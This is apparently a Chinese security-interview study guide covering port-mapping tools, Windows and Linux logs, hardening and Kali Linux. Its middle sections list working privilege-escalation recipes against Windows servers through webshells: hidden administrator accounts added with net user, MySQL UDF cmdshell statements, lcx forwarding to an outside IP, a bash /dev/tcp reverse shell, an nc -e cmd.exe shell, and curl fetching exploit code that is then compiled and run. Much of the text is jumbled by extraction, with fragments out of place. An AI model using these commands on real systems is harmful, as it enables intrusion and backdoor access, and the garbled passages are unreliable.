蜻蜓映射是一款完全免费的端口映射工具,集成了动态域名解析和内网穿透。 支持多种类型的应用程序服务(办公OA、ERP、视频监控、微#
信开发等)。蜻蜓映射可以轻松的实现外网访问内网服务器,而无需运营商分配的公网IP地址,也无需动态域名。#
官网地址#
使用步骤:#
1. 下载客户端到目标主机,并运行。#
2. 添加映射,设置映射协议和本地端口#
3. 复制访问地址,在浏览器测试访问#
4.natapp#
基于ngrok的内网映射工具,免费版本提供http,tcp,udp全隧道穿透、随机域名/随机TCP,UDP端口、不定时强制更换域名/端口和自定义本地 端口。
官网地址:
使用步骤:#
1. 进入官网,下载客户端到目标主机,并运行#
2. 购买隧道并设置隧道协议和端口#
第二章 操作系统#
一、怎么查看 windows 和 Linux 的日志?#
Windows日志分析#
Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生
的原因,或者寻找受到攻击时攻击者留下的痕迹。
Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。如何查看:右键我的电脑-管理-系统工具-事件查看器,或者eventvwr查看事件查看器
./ngrok authoken 授权码./ngrok http 80https://flynat.51miaole.comhttps://natapp.cn系统日志的存放位置:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全性日志存放位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志存放位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx打开Windows系统的事件查看器,右键单击系统或安全日志,选择筛选当前日志,在筛选器中输入事件ID即可。
系统:
1074 ,通过这个事件ID查看计算机的开机、关机、重启的时间以及原因和注释。
6005 ,表示计算机日志服务已启动,如果出现了事件ID为 6005 ,则表示这天正常启动了系统。
104 ,这个时间ID记录所有审计日志清除事件,当有日志被清除时,出现此事件ID。安全:
4624 ,这个事件ID表示成功登陆的用户,用来筛选该系统的用户登陆成功情况。
4625 ,这个事件ID表示登陆失败的用户。
4720,4722,4723,4724,4725,4726,4738,4740,事件ID表示当用户帐号发生创建,删除,改变密码时的事件记录。
4727,4737,4739,4762,事件ID表示当用户组发生添加、删除时或组内添加成员时生成该事件。Linux日志分析#
用来显示开机信息, kernel会将开机信息存储在ring buffer中。开机时来不及查看信息,可利用dmesg来查看。开机信息亦保存
在/var/log/dmesg一般内核及大多数系统消息都被记录到公共日志文件”/var/log/messages”中,而其他一些程序消息被记录到不同的文件中,日志消息
还能够记录到特定的存储设备中,或者直接向用户发送。具体根据rsyslog配置而定/var/log/secure:记录登录系统存取数据的文件;例如:pop3,ssh,telnet,ftp等都会记录在此.系统定时任务相关日志/var/log/cron/var/log/dmesg 记录了系统在开机时内核自检的信息/var/log/message 记录系统重要信息的日志/var/log/btmp记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志/var/log/secure 这个文件是记录服务器登陆行为的。那个文件如果很大,说明有人在破解你的root密码(一般是SSH暴力破解),可
以通过这个日志查到对方的IP,每次登陆,无论密码对错都会被详细记录下来,所以文件会很大二、说一下常见 Windows 和 linux 的命令#
windows常用命令#
/var/log/wtmp 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件/var/log/utmp 记录当前已经登录的用户信息/var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录1.常见的windows指令( win + r ,输入cmd ,有些命令需要管理员权限 )
2.命令演示图( 小技巧:输入前几个字母,然后按“TAB”可以自动补全,Linux操作系统同理 )
①:D:②:dircd 目录cd 盘符:目录 1 \目录2...cd ...cd \clsexit:关闭了Linux常用命令#
1.比windows系统稳定
2.#
ls:查看当前文件夹内容 蓝色:文件夹 浅蓝色:表示软连接(相当于windows操作系统里面的快捷方式) mkdir:创建文件夹
ll:查看详细信息
5.进入目录#
6.touch:创建文件 (白色的代表文件:这里是aaa)
7.rm -rf xxx rm删除:进回收站(需要输入yes或者no) rm-rf:彻底删除,不进回收站
8.rz(上传文件)( 20 秒选完,不然会报错) 彩色的都是多媒体文件 如图片
9.sz xxx(下载文件到本地) 10.cd …/(返回上级目录) 11.cat xx(查看文件) 12.vi xx(编辑文件) a(开始编辑文件) esc(退出编辑状态)然后输入(:wq)(保存并返回) 13.ctrl+c:Ctrl + C 是强制中断程序的执行,进程已经终止。 Ctrl + C 发送 SIGINT信号 参考:linux信号 14.unzip xxx(解压压缩包的意思) 15.cd+(空格)+联想首字母+TAB自动补全 16…exe和.sh都是运行脚本的文件 托管代码 windows-VB语言, linux–shell 这种语言叫做脚本语言(自带环境) 17.chmod 777 xxx.ch 7=4+2+1 4-可读 2-可写 1-可执行
777-三个用户(第一个 7 代表文件所属者的权限,第二个 7 代表文件所属者所在组的权限,第三个 7 代表其它用 户的权限”)#
18.chmod 777 *ch(执行所有.ch文件)
19.sh xx.sh(运行文件)
公网ip和端口 21.ps -ef | grep tomcat ps -ef :查询所有进程 grep :进行筛选 tomcat:具体 中间的|是管道命令 是指ps命令与grep同时执行 21.pwd(查找当前文件具体路径) 22.ip:8080/webapps文件夹里面的文件夹名字/*.html 23 :kill -9 xxx(关闭进程号,彻底杀死) xxx:
24.mv xx.html index.html(改文件名) index可以默认不需要打名字 25.mv xx文件名 ROOT(改文件夹) 进入wangzhan-tomcat-index.htm 回到上一级,进入conf 进入server中把 8080 改成 80 ,然后可以不用写端口号 8080 了
返回上一级进去bin目录 运行shutdown.sh 然后在startup.sh
三、说一下 windows 和 linux 的安全加固#
Linux加固概述#
网络安全法:颁布时间 2016 年 11 月 7 日,实施时间 2017 年 6 月 1 日#
等保2.0: 2019 年 12 月 1 号开始实施。#
GB/T 25058:信息安全技术信息系统安全等级保护实施指南#
GB/T 22240:信息安全技术信息系统安全等级保护定级指南#
GB/T 22239:信息安全技术网络安全等级保护基本要求#
GB/T 25070:信息安全技术网络安全等级保护安全设计技术要求#
GB/T 28449:信息安全技术网络安全等级保护评测过程指南#
安全加固方向#
版本升级#
对于系统和应用在使用过程中暴露的安全缺陷,系统或应用厂商会及时发#
布解决问题的升级补丁包。升级系统或应用版本,可有效解决旧版本存在#
的安全风险。#
关闭端口服务#
在不影响业务系统正常运行情况下,停止或禁用承载业务无关的服务和服#
务端口,可有效避免无关服务造成的安全风险。#
修改配置项#
操作系统、安全设备、数据库、中间件、第三方应用和业务系统可更改的#
配置中与安全相关的设置参数等信息,通过修改安全配置,可以为网络和#
应用提供必要的安全保护。#
修改代码(可选)#
修改代码一般由系统开发商完成,安全加固支持方仅提供加固建议及加固#
有效性验证。#
主机和网络ACL策略#
主机和网络ACL策略是一类临时安全加固方法。ACL通常应用在系统的流#
量控制上,可通过实施ACL,有效的部署网络出/入口策略,控制对内网资#
源的访问能力,来保障资源安全性#
部署设备防护(可选)#
部署设备防护的安全加固方式一般由设备厂商完成。#
安全加固流程#
1. 回退测试#
运维人员、厂商、第三代维方完成#
系统及数据备份、回退操作验证#
2. 业务测试#
运维人员、厂商、第三方代维配合完成#
利用现网环境或搭建虚拟环境进行业务测试,确认加固是否影响业务#
3. 有效性测试#
由安全加固实施工程师完成#
利用现网环境或搭建虚拟环境进行安全风险测试,确认加固有效性#
Windows加固实例#
帐号管理与认证授权#
按用户类型分配账号#
目的:根据系统要求,设定不同账户和组,管理员、数据库sa、审计用户、来宾用户等 lusrmgr.src
设置密码策略、配置账户锁定策略、远程关机策略
secpol.msc
windows日志
事件查看器
Windows默认共享
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa restrictanonymous设置为 1 可关闭默认共享
安全系统补丁
WSUS服务器
四、说一下 windows 系统 webshell 提权方式#
pcAnywhere提权: 1.利用pcAnywhere提权,前提条件是pcAnywhere默认安装到默认路径,以及它的目录安全权限有users权限,如果管理员删除了users和 power users用户的目录权限,只剩下administer和system用户目录权限,则无法提权; 2.在webshll的大马中查找到pcanywhere目录里的host目录,里面的cif文件保存了连接pcanywhere的账户和密码,然后下载下来,通过 PcAnywhere密码破解工具进行破解密码,然后再自己的电脑上安装pcanywhere,然后通过连接到另一台电脑进行远程桌面连接; ——————————– 利用HASH破解提权: 1.工具:ophcrack-win32-installer-3.3.0(hash破解软件) ,Pwdump7(查看hash的软件),彩虹表(密码字典) 2.思路:渗透,管理员可能几台服务器都实用同个密码,我们获取其他一个以后可以尝试登陆 其他服务器 3.例如添加一个用户并将该用户添加到管理员组:net user backlion 123456 /add net localgroup administrators backlion /add 4.在dos下用pwdump7运行查看该用户的hash值: backlion:1003:2FB6717FC6897581AAD3B435B51404EE:DA0492D72F8D04983188CCD4CA257E44::: 5.然后通过ophcrack和彩虹表进行破解该用户 6.防范:密码超过 14 位就不能破解,建议密码设置 15 位,越复杂越好
———————————————— MYSQL提权(udf.dll): 1.用的文件有su.php木马,Linx Mysql BackDoor.php木马 1.udf.dll的默认路径:C:\Winnt\udf.dll(win2000系统),C:\Windows\udf.dll (win2003系统) 2.找到网站目录mysql配置文件,常用的有:config.php,web.php,webconfig.php 配置文件如下: $dbhost = ‘localhost’; // 数据库服务器 就是127.0.0.1 $dbuser = ‘root’; // 数据库用户名 $dbpw = ‘a’; // 数据库密码 $dbname = ‘dz’; // 数据库名 3.在su.php中,填入host:127.0.0.1 user:root passwor:a db:mysql,然后输入sql命令进行添加用户:select state(“net user backlion 123 /add & net localgroup administrators backlion /add”) 然后通过net user查看是否添加成功 4.在udf.ph 中host:127.0.0.1 user:root passwor:a db:mysql,然后填入DLL导出路径:C:\Windows\udf.dll ,在sql命令中输入一下命令: create function cmdshell returns string soname ‘udf.dll’//添加一个udf.dll组件函数 select cmdshell(‘net user backlion$ 123456 /add’); //添加一个用户 select cmdshell(‘net localgroup administrators backlion$ /add’); //将用户添加到管理员组 select cmdshell(‘c:\3389.exe’); //这个是把开 3389 的文件放到C盘,然后运行 drop function cmdshell; //删除函数 select cmdshell(‘netstat -an’); //这是查看端口查开放情况 ———————————————————————- Churrasco提权: 1.用到的工具有:win2003 0day漏洞工具03.exe和cmd.exe; 2.然后在webshell中上传我们的03.exe和cmd.exe到可以读写的目录中,然后切换到可读写的目录中:然后在webshll路径中填入我们的 cmd.exe路径如;c :/recyle/cmd.exe 下面填入:c :/recyle/03.exe “net user backlion 123 /add & net localgroup adminstrators backlion /add” ————————————————————————————– 利用sogou输入法(6.0)提权: 1.sogou输入法是6.0版本,然后我们通过webshll木马管理,查找到sogou安装的路径,然后通过上传 ImeUtil.exe 替换原来的ImeUtil.exe文件,只要一加载这个程序就会在系统中自动添加管理员
用户名:sunwear 密码:sunwear ———————————————————— lcx内网端口转化,解决在内网不能远程桌面登录: 1.webshll目标站点的wscript组件开启,并且有一个可读写的目录,一般上传到c:/recyle目录下 2.上传我们的cmd.exe和lcx.exe上去 3.然后在shll路径中填入:c:/recyle/cmd.exe 下面就输入c:/recyle/lcx.exe slave 202.12.13.2 51 127.0.0.1 3389 4.在本地DOS下输入: d:/lcx.exe listen 51 3333 监听 51 并转发到 3333 端口 4.在本地远程桌面里面输入:127.0.0.1:3333 ——————————————— 6Gftp提权: 1.默认安装目录C:\Program Files\Gene6 FTP Server 2.密码保存文件的路径是在C:\Program Files\Gene6 FTP Server\RemoteAdmin\Remote.ini 其配置文件如下: [Server] IP=127.0.0.1,8021\r\n //使用的端口号 GrantAllAccessToLocalHost=0 [Acct=Administrator] //用户名 Enabled=1 Rights=0 Password=21232F297A57A5A743894A0E4A801FC3 //md5密码
3.在webshll中发现了有安装g6ftp软件,默认安装路径 4.在shll中输入:C:\recycler\lcx.exe -tran 8022 127.0.0.1 8021 6.在本地安装6gftp软件,IP地址输入:目标站点IP地址。端口号为 8022 ,用户名为administrator,密码为破解出来的md5值; ——————————————– Serv-U6.4提权: 1.serv-u的密钥: 9dK4g4iPhvOsoEY9nprEiSsmW7OUqFaGuwHT1CtBn9K6hQVg0bd2okQ9ldel+1IGE9b4xDP0q2W+vE4vgZLA7unm6t3CxTI 2.在serv-u中下面的命令中输入:cmd /c net user backlion$ 123 /add & net localgroup administrators backlion$ /add 3.然后就添加了一个用户名 4.就可以用这个账号远程桌面登录了; —————————————————- VNC密码的破解和提权: 1 在webshll中读取vnc注册表键值:RealVNC的注册表路径: HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\Password UltraVNC的注册表路径: HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3\Default\password 读取的是十进制数,需要转换成十六进制如下: 十六进制:D7 51 CC 73 31 24 7A 93 十进制: 12 7C EF FA 6E 0B 7A D9 3.破解vnc密码:vncpwdump.exe D751CC7331247A93 4.然后在本地安装一个VNC客户端,进行远程连接 —————————————————————- Radmin提权: 1.在webshll中检查出有安装Radmin程序; 2.在读取Radmin注册表键值,然后把读取的十进制转换成 16 进制; 3.直接用radmi-hash工具连接,把读取的十六进制填入进去; 4.最后可以用radmin客户端连接就行了; ————————————————– 360 安全卫士提权: 1.上传我们的cmd.exe和360.exe到可读写的目录下如:c:/recyle 2.在shell中输入:c:/recyle/cmd.exe 然后在下面输入:c:/recyle/360.exe sethc 3.然后远程桌面登录输入目标IP地址,过一会就弹出了一个DOS窗口,然后就可以添加用户名和密码 ——————————————————————————— 启动项提取: 1.在webshll中上传一个添加用户的批处理文件如:net user backlion$ 123456 /add & net localgroup adminsitrators backlion$ /add 爆出为系统修复.bat; 2.然后在wegshll中输入启动选的路径:C:\Documents and Settings\Administrator\「开始」菜单\程序\启动 上传我们的批处理文件; 3.只要管理员下次重新启动机子,就能自动添加我们的账号;
出处:http://www.cnblogs.com/milantgh/p/3601826.html
补充阅读:
webshell提权 20 种思路
1 ,SER-TU提权(通常是利用SERFTP服务器管理工具,首先要在安装目录下找到INI配置文件,必须具备可写入的权限) 2 ,RADMIN提权(大家并不陌生,我们在扫描 4899 空口令后,同样需要他来连接) 3 ,PCANYWHRER提权(也是远程客户端软件,下载安装目录的CIF文件进行破解) 4 ,SAM提权(SAM系统帐户,通常需要下载临时存放的SAM文件,然后进行HASH破解) 5 ,NC提权(利用NC命令,反弹一个端口,然后TELNET远程去连接一个端口,虽然权限不够大,但结合巴西烤肉,也是能够成功的) 6 ,PR提权(PR提权,这个就不多说了,最好是免杀的PR大杀器,这样更方面我们去操作) 7 ,IIS提权(IIS6.0提权,首先需要获取IIS的配置信息,利用工具进行添加后门用户) 8 , 43958 提权(如果SER-TU有直接读入和执行的权限,那么我们就可以直接提权) 9 ,PERL提权(PERL提权通常是针对PERL文件夹下的提权方式,利用DIR目录%20NET USER这样来建立后门用户) 10 ,内网LCX提权(转发工具LCX,通常需要先本地监听一个端口,然后转发,针对内网,用本地的 127 连接对方的 3389 ) 11 ,启动提权(如果服务器启动项有能够执行的权限,那么应该说管理员的技术肯定不精湛)
12 ,替换服务提权(替换某个服务EXE,比如SER-TU,可将原有的删除,再传一个同样的SER.EXE上去,等待服务器重启)#
13 ,FXP提权(FXP这个工具其实本身他是一个传输工具,但我们可以下载他的三个文件,然后,用密码查看器的功能去获得密码)#
14 ,输入法提权(目前来说的话,输入法提权的思路基本上不太可行了)#
15 , 360 提权( 360 提权,也就是我们常说的SHIFT后门,如果执行了 360 漏洞利用程序,连接服务器用SHIFT5下,弹出了CMDSHELL即为成#
功)#
16 ,VNC提权(VNC,想必大家并不陌生,我们通常是扫描 5900 国外服务器时候用到VNC来连接的,同样,我们如果得到了VNC的密码,通#
常可以利用他来提权)#
17 ,2003ODAY提权(如果服务器是 2003 的,那么就可以利用2003ODAY利用工具来进行提权了)#
18 ,ROOT提权(如果你获得了MSSQL的密码,那么就可以导入注册表的方式,利用MSSQL语句执行我们想要的命令了)#
19 ,SA密码服务器提权(通常去寻找SA,MSSQL的相关密码,比如CONFIG.ASP,CONN.ASP等等)#
20 ,FTP溢出提权(这个用到LCX工具,本地溢出,转发一个端口,虽然不是内网,利用默认的 21 进行提升权限)#
五、windows 有哪些漏洞?#
目前微软系列产品中,危害计算机安全的漏洞主要有 7 个:#
一、LSASS相关漏洞是本地安全系统服务中的缓冲区溢出漏洞,之前的“震荡波”病毒正是利用此漏洞造成了互联网严重堵塞。#
二、RPC接口相关漏洞首先它会在互联网上发送攻击包,造成企业局域网瘫痪,电脑系统崩溃等情况。“冲击波”病毒正是利用了此漏洞进行#
破坏,造成了全球上千万台计算机瘫痪,无数企业受到损失。#
三、IE浏览器漏洞能够使得用户的信息泄露,比如用户在互联网通过网页填写资料,如果黑客利用这个漏洞很容易窃取用户个人隐私。#
四、URL处理漏洞,此漏洞给恶意网页留下了后门,用户在浏览某些美女图片网站过后,浏览器主页有可能被改或者是造成无法访问注册表#
等情况。#
五、URL规范漏洞,一些通过即时通讯工具传播的病毒,比如当QQ聊天栏内出现陌生人发的一条链接,如果点击过后很容易中木马病毒。#
六、FTP溢出系列漏洞主要针对企业服务器造成破坏,前段时间很多国内信息安全防范不到位的网站被黑,目前黑客攻击无处不在,企业一#
定要打好补丁。#
七、GDI+漏洞可以使电子图片成为病毒!用户在点击网页上的美女图片、小动物、甚至是通过邮件发来的好友图片都有可能感染各种病毒。#
六、怎么在 windows 查看指定进程名?#
按ctrl+alt+delete键调出任务栏管理器,依次点击查看—-选择列—在弹出的窗口中在PID前面打勾,带你及确定,在任务栏管理器的进程 中 PID下面的就是该进程的进程号!
开始—运行—-在对话框中输入:cmd 然后回车—在弹出的控制台中输入 tasklist 就会出现所有进程,同样PID下面的是进程号!
七、详细讲讲 windows 提权和 linux 提权#
前提:拿到wbshell后做的事情
webshell 通常继承了web 用户的权限
通常情况下,web用户的权限是比较低的
权限提升#
1 :获取其他用户的访问权限,甚至是管理员。#
! 水平权限提升(越权)(普通用户更改普通用户的帖子)对一个论坛来说 :超级管理员(管理所有)、版主(管理一版的帖子)、普通用户(管里自己的帖子)A|B!垂直权限提升(更改版主或超级管理员的贴子)!如果以上两种情况,发生在web、App中失效的访问控制:就是未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访
问其他用户的账户、查看敏感文件、修改其他用户的数据、更改访问权限等。对于系统来说,就是“提权”,目标是获取root/administrator的权限。
提权的分类: 水平权限提升、垂直权限提升#
依据操作系统分类:#
编译器:#
windows系统:
提权方式:
linux系统:
自带的编译器:gcc
1 :利用系统漏洞进行提权
操作系统漏洞提权:步骤: 1 获取系统信息命令是:systminfo根据没有修补的补丁号码,直接在网上找 利用程序 网址:www.7kb.org/138.html漏洞(系统漏洞msxx-xx)与补丁(kB)的对应关系PR提权:win2003MS09-012巴西烤肉提权2 直接用exp,exp就是编译好的针对某一漏洞的exe程序第三方服务提权就是数据库提权分两种: 1 :MSSQL 提取关键步骤:就是获取sa用户的密码条件:数据库的端口、地址 sa sa用户的密码2 ::MYSQL 提权分两种: 1 :UDF 提权2 :MOF提权其他数据库 VNC PCanywhere .........一;了解目标操作系统的内核版本号,去查找对应的能提权的漏洞命令:• cat /proc/version(系统版本信息)- uname -a(内核查询)
- uname -mrs+-
- rpm -q kernel
- dmesg | grep Linux
- ls /boot | grep vmlinuz
1 ;shell反弹监听端口 nc.exe -lvvp 4444提权实战#
1 如果对方windows系统,并且使用套件搭建服务,获取的webshell,即是system权限
内网渗透#
1 nc shell 反弹
八、说一下 linux crontab 自启后门、windows 自启后门#
1.Linux Crontab 自启后门
Linux Crontab是一种定时任务管理工具,攻击者可以在系统中创建一个定时任务,并将恶意脚本加入到定时任务当中,以达到自启后门的 目的。攻击者可以在定时任务中设置一个特定时间,当系统到达这个时间点时,便会自动执行恶意脚本,从而实现攻击者的目的。 为了防止 Crond自启后门,可以采取以下措施:
限制对定时任务的访问权限,避免攻击者利用定时任务进行攻击。- 对于不可信的定时任务,可以使用沙箱技术进行隔离,避免执行恶
意代码。- 定期审查系统的定时任务,发现恶意定时任务及时进行处理。2.Windows 自启后门
Windows系统中,攻击者可以利用注册表、服务、计划任务等机制,实现自启后门的目的。攻击者可以通过添加新的服务、计划任务或修改 注册表等方式,在系统启动时自动执行恶意代码,从而控制系统。 为了防止Windows自启后门,可以采取以下措施:
定期审查系统的服务、计划任务和注册表,发现可疑的条目及时进行处理。- 使用杀毒软件等安全工具对系统进行扫描,及时发现和清
除恶意软件。- 对于不可信的服务、计划任务和注册表项,可以采用禁用或删除的方式进行处理。- 加强系统安全配置,例如启用防火
墙、禁止远程访问等,减少系统遭受攻击的风险。九、如何手工快速判断目标站是 windows 还是 linux 服务器?#
1 、linux大小写敏感,windows大小写不敏感。—–已经测试证实 2 、ping服务器,返还得TTL值不一样,windows一般在 100 以上,linux一般是 100 一下。—已经测试证实 通过测试 ping linux内网机器的ttl为 64 ping window内网机器的ttl为 126
/bin/bash -i >& /dev/tcp/ip地址/4444(端口号) 0<&1查找提权的漏洞kali中:searchsploit+系统下载提权exp.ccurl http://172.18.199.91/35370.c > exp.c编译并且运行gcc exp.c -o exploit -lpthread./exploit常见的套件: xampp wamp phpstudy客户端首先执行 nc.exe -lvvp 777(端口号)服务器端执行 nc.exe -e cmd.exe 远程IP地址 端口号3 、推理及应用,测试百度的机器是lInux还是windows的
百度的机器为linux
4 、其他非正常值该怎么判断
从PING命令的回显可以判断操作系统类型 就是使用PING命令来查看TTL值从而判断操作系统类型。详细如下: TTL=128,这是WINNT/2K/XP。 TTL=32,这是WIN95/98/ME。 TTL=256,这是UNIX。 TTL=64,这是LINUX。
十、有用 windows/linux 搭建过服务吗?#
是的,我有使用Windows和Linux搭建过各种服务的经验。以下是我搭建过的一些服务:
1. Web服务器:我在Windows和Linux上都使用过Apache、Nginx和IIS搭建过Web服务器,用于托管静态和动态网站。
2. 数据库服务器:我在Linux上使用过MySQL和PostgreSQL搭建过数据库服务器,用于存储和管理应用程序的数据。
3. 文件服务器:我在Linux上使用过Samba和NFS搭建过文件服务器,用于共享文件和目录。
4. 邮件服务器:我在Linux上使用过Postfix和Dovecot搭建过邮件服务器,用于发送和接收邮件。
5. DNS服务器:我在Linux上使用过Bind和Dnsmasq搭建过DNS服务器,用于解析域名和提供DNS服务。
6. VPN服务器:我在Linux上使用过OpenVPN和StrongSwan搭建过VPN服务器,用于提供安全的远程访问服务。 以上只是我搭建过的一
些服务,实际上还有很多其他的服务,例如FTP服务器、NTP服务器、DHCP服务器等。搭建这些服务需要一定的技术和经验,同时还
需要注意安全问题,例如加强访问控制、使用安全证书、定期更新软件等。十一、在 Linux 中,虚拟机网络连接方式为桥接模式,如何配置静态地址?#
一、桥接模式#
VMware桥接模式,也就是将虚拟机的虚拟网络适配器与主机的物理网络适配器进行交接,此时虚拟机就可以访问到外部网络。桥接模式就 相当于在局域网中添加了一台新的物理机一样,虚拟机同样占用一个ip地址,此时可以与局域网内其他终端互相访问。桥接模式支持有线与 无线主机网络适配器。
二、VMware设置桥接模式#
三、设置静态ip地址#
本例虚拟机为CentOS7。
1 、使用ip addr查看网卡等信息
此时网卡名称为ens33,所以需要修改ifcfg-eth33文件。
2 、编辑网卡文件
需要 修改 的内容:#
BOOTPROTI#
dhcp: DHCP动态地址协议 。
static:静态地址协议。
ONBOOT系统启动时是否激活网卡接口,yes为激活,no为不激活。
需要 添加 的内容:
IPADDR#
静态ip地址,需要确保在局域网中的唯一性,设置之前可以先ping一下,看能否ping通,能的话说明已经有主机在使用。和物理主机ip网段 相同,前三位一样。
NETMASK子网掩码。
GATEWAY网关地址。和物理主机网关相同。
vi /etc/sysconfig/network-scripts/ifcfg-eth33BOOTPROTI=static
ONBOOT=yesIPADDR=172.20.10.6
NETMASK=255.255.255.0
GATEWAY=172.20.10.1物理机IP配置,通过ipconfig查询:
修改后虚拟机网卡的完整配置:#
重启网络服务:#
遇到的问题:Failed to start LSB: Bring up/down networking.
解决办法:#
执行以下两段命令#
测试网络是否连通:#
在物理主机测试ping虚拟主机:
在虚拟机ping物理主机:
systemctl restart networksystemctl stop NetworkManager
systemctl disable NetworkManager成功连通虚拟机网络。#
十二、Linux 系统下进行文件包含,一般包含什么文件?#
在Linux系统中,可通过grep命令来查看文件包含内容,该命令主要用于查找文件里符合条件的字符串,接下来小编通过这篇文章为大 家详细的介绍一下grep命令的语法及参数,快来学习一下吧。
grep指令用于查找内容包含指定的范本样式的文件,如果发现某文件的内容符合所指定的范本样式,预设grep指令会把含有范本样式的 那一列显示出来。若不指定任何文件名称,或是给予的文件名为-,则grep指令会从标准输入设备读取数据。
语法
grep[-abcEFGhHilLnqrsvVwxy][-A<显示行数>][-B<显示列数>][-C<显示列数>][-d<进行动作>][-e<范本样式>][-f<范本文件>][–help][范 本样式][文件或目录…]
参数
-a或–text:不要忽视二进制的数据。
-A<显示行数>或–after-context=<显示行数>:除了显示符合范本样式的那一列之外,并显示该行之后的内容。
-b或–byte-offset:在显示符合样式的那一行之前,标示出该行第一个字符的编号。
-B<显示行数>或–before-context=<显示行数>:除了显示符合样式的那一行之外,并显示该行之前的内容。
-c或–conunt:计算符合样式的列数。
-C<显示行数>或–context=<显示行数>或-<显示行数>:除了显示符合样式的那一行之外,并显示该行之前后的内容。
-d<动作>或–directories=<动作>:当指定要查找的是目录而非文件时,必须使用这项参数,否则grep指令将回报信息并停止动作。
-e<范本样式>或–regexp=<范本样式>:指定字符串做为查找文件内容的样式。
-E或–extended-regexp:将样式为延伸的正则表达式来使用。
-f<规则文件>或–file=<规则文件>:指定规则文件,其内容含有一个或多个规则样式,让grep查找符合规则条件的文件内容,格式为每行 一个规则样式。
-F或–fixed-regexp:将样式视为固定字符串的列表。
-G或–basic-regexp:将样式视为普通的表示法来使用。
-h或–no-filename:在显示符合样式的那一行之前,不标示该行所属的文件名称。
-H或–with-filename:在显示符合样式的那一行之前,表示该行所属的文件名称。
-i或–ignore-case:忽略字符大小写的差别。
-l或–file-with-matches:列出文件内容符合指定的样式的文件名称。
-L或–files-without-match:列出文件内容不符合指定的样式的文件名称。
-n或–line-number:在显示符合样式的那一行之前,标示出该行的列数编号。
-o或–only-matching:只显示匹配PATTERN部分。
-q或–quiet或–silent:不显示任何信息。
-r或–recursive:此参数的效果和指定”-d recurse"参数相同。
-s或–no-messages:不显示错误信息。
-v或–invert-match:显示不包含匹配文本的所有行。
-V或–version:显示版本信息。
-w或–word-regexp:只显示全字符合的列。
-x–line-regexp:只显示全列符合的列。
-y:此参数的效果和指定”-i"参数相同。
十三、linux 某端口被占用了怎么办?#
1.打开Linux系统,打开终端
2.在终端窗口输入 netstat -tln | grep + 被占用的端口命令
3.输入lsof -i:+被占端口命令,回车后可查看端口被哪个进程占用
4.输入kill -9 + 进程id命令,回车后即可杀死占用端口的进程
十四、Linux 抓包用什么?#
tcpdump
wireshark
ngrep
十五、kali Linux 是什么?#
Kali 是一个基于Debian 的 Linux发行版。它的目标就是为了简单:在一个实用的工具包里尽可能多的包含渗透和审计工具。Kali 实现了这个 目标。大多数做安全测试的开源工具都被囊括在内。
为什么是 Kali?#
Kali Linux Desktop
kali是由 Offensive Security 公司开发和维护的。它在安全领域是一家知名的、值得信赖的公司,它甚至还有一些受人尊敬的认证,来对安 全从业人员做资格认证。
Kali 也是一个简便的安全解决方案。Kali 并不要求你自己去维护一个 Linux 系统,或者你自己去收集软件和依赖项。它是一个“交钥匙工 程”。所有这些繁杂的工作都不需要你去考虑,因此,你只需要专注于要审计的真实工作上,而不需要去考虑准备测试系统。
netstat -tln
netstat -tln | grep 9090lsof -i:9090kill -9 进程id如何使用它?#
Kali 是一个 Linux 发行版。与任何一个其它的Linux 发行版一样,你可以将它永久安装到一个硬盘上。那样它会工作的更好,但是你不能将 它作为一个日常使用的操作系统。因为它是为渗透测试构建的,这就是你使用它的全部理由。
最好是将 Kali 制作为自启动发行版。你可以将 Kali 刻录到一张 DVD 或者是制作到一个自启动 U 盘上来运行它。你没有必要在一个Kali上安 装任何软件或者保存任何文件。你可以在需要测试一个系统时随时来启动它。它也有非常好的灵活性,可以让运行 Kali 的机器随时运行在想 要测试的网络上。
Kali 可以做什么?#
Kali 里面有很多的安全工具而不是别的。这就是它能做的事。不管怎么说,Kali 就是一个安全工具。
Kali Zenmap
它有像 NMap 和 Wireskark 这样的经典信息采集工具。
Kali Linux Wireshark
Kali 也有面向 WiFi 的工具,像 Aircrack-ng、Kismet、以及 Pixie。
对于破解密码,它也有像 Hydra、Crunch、Hashcat、以及 John the Ripper 这样的工具。
Kali Metasploit
还有更多的成套工具,包括 Metasploit 和 Burp Suite。
这些只是 Kali 缺省内置的一小部分安全工具。完整的了解这些工具需要很多的时间,但是,你可以清楚地看到许多非常流行的工具它都有。
Kali 是为你准备的吗?#
Kali 并不是为普通用户准备的。它并不是一个运行在你的笔记本电脑上的普通 Linux 发行版,而是一个很酷的“黑客操作系统“。如果你使用 这个操作系统,那么你将会运行着一个缺乏安全保障的系统,因为 Kali 被设计为以 root 权限运行。它自身并不安全,并且它的配置也与普 通的 Linux 发行版不一样。它是一个攻击型工具,而不是一个防御型工具。
Kali 并不是个玩具。你可以使用它内置的工具去做一些会产生真实伤害的危险的事(你懂的),那将给你带来很多真实的麻烦。对于一个未 受到严格教育的用户来说,做一些严重违法的事情是很容易的,并且之后你就会发现自己被陷入很无助的境地。
说了这么多,但是,Kali 对于一个专业用户来说,它是一个极好的工具。如果你是一个网络管理员,想对你的网络做一个真实的测试,Kali 可以做到你所希望的一切事情。Kali 也有一些优秀的开发工具,用于去实时审计它们的应用程序。
当然,如果你正好有兴趣学习关于安全的知识,你可以在某些受控环境中去使用 Kali,它可以教你学习很多的非常优秀的知识。
Kali Linux 是许多优秀的安全工具的集合。对于专业用户来说,它有难以置信的好处,但是对于一些不怀好意的人来说,也可以产生很多大 麻烦。小心地使用 Kali,充分利用它的巨大优势。如果不这样的话,你将在某个地方(你懂的)度过你的余生。
十六、说一下 Linux 系统常见的日志文件#
